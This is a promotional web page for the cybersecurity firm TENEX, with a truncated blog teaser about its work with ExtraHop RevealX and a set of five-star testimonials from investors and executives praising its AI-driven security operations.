The Problem Was Never Network Detection: What TENEX and ExtraHop RevealX Deliver Together

The problem was never network detection. It was the distance between a good detection and a...

Reviews

Perspectives from Those Who Know Us Best

Eric Foster
★★★★★
CEO of TENEX
"TENEX was founded to help enterprises overcome persistent security challenges by leveraging the scale and efficiency of modern cloud provider security stacks combined with AI-driven services. We aim to deliver exceptional outcomes with agility and cost-effectiveness."
Zane Lackey
★★★★★
General Partner, Andreessen Horowitz
"TENEX is tackling one of the most critical challenges in cybersecurity: the inefficiency of managing comprehensive security programs”
Iman Ghanizada
★★★★★
Godfather of Autonomic Security
"In an era where modern threat actors can bypass years of security controls in minutes, the industry needed a fundamentally different approach to security operations. Tenex represents the first true implementation of what autonomic defenses must look like in an AI-first world."
Elias "Lou" Manousos
★★★★★
Shield Cap
"At TENEX, we’re not just delivering another cybersecurity service—we’re redefining how security operates in an AI-driven world."
Zane Lackey
★★★★★
General Partner, Andreessen Horowitz
With their AI-driven, cloud-native platform and deep security expertise, TENEX is strongly positioned to deliver automated, scalable solutions that modern enterprise customers need. We are proud to support Eric Foster and the TENEX team as they redefine the way cybersecurity is delivered.
Chad Kreimendahl
★★★★★
CEO, Onspring
Imagine a cybersecurity partner that redefines industry standards. An AI-first approach that integrates seamlessly with your infrastructure, automating routine tasks and enabling your team to focus on strategic priorities. With advanced technology and expertise, we envision a future that sustains and enhances our operational excellence. That's what the team at Tenex has done for us, and what they can do for you.
#side-panel.side-panel .side-panel_sidebar {background-color: #070C1F;}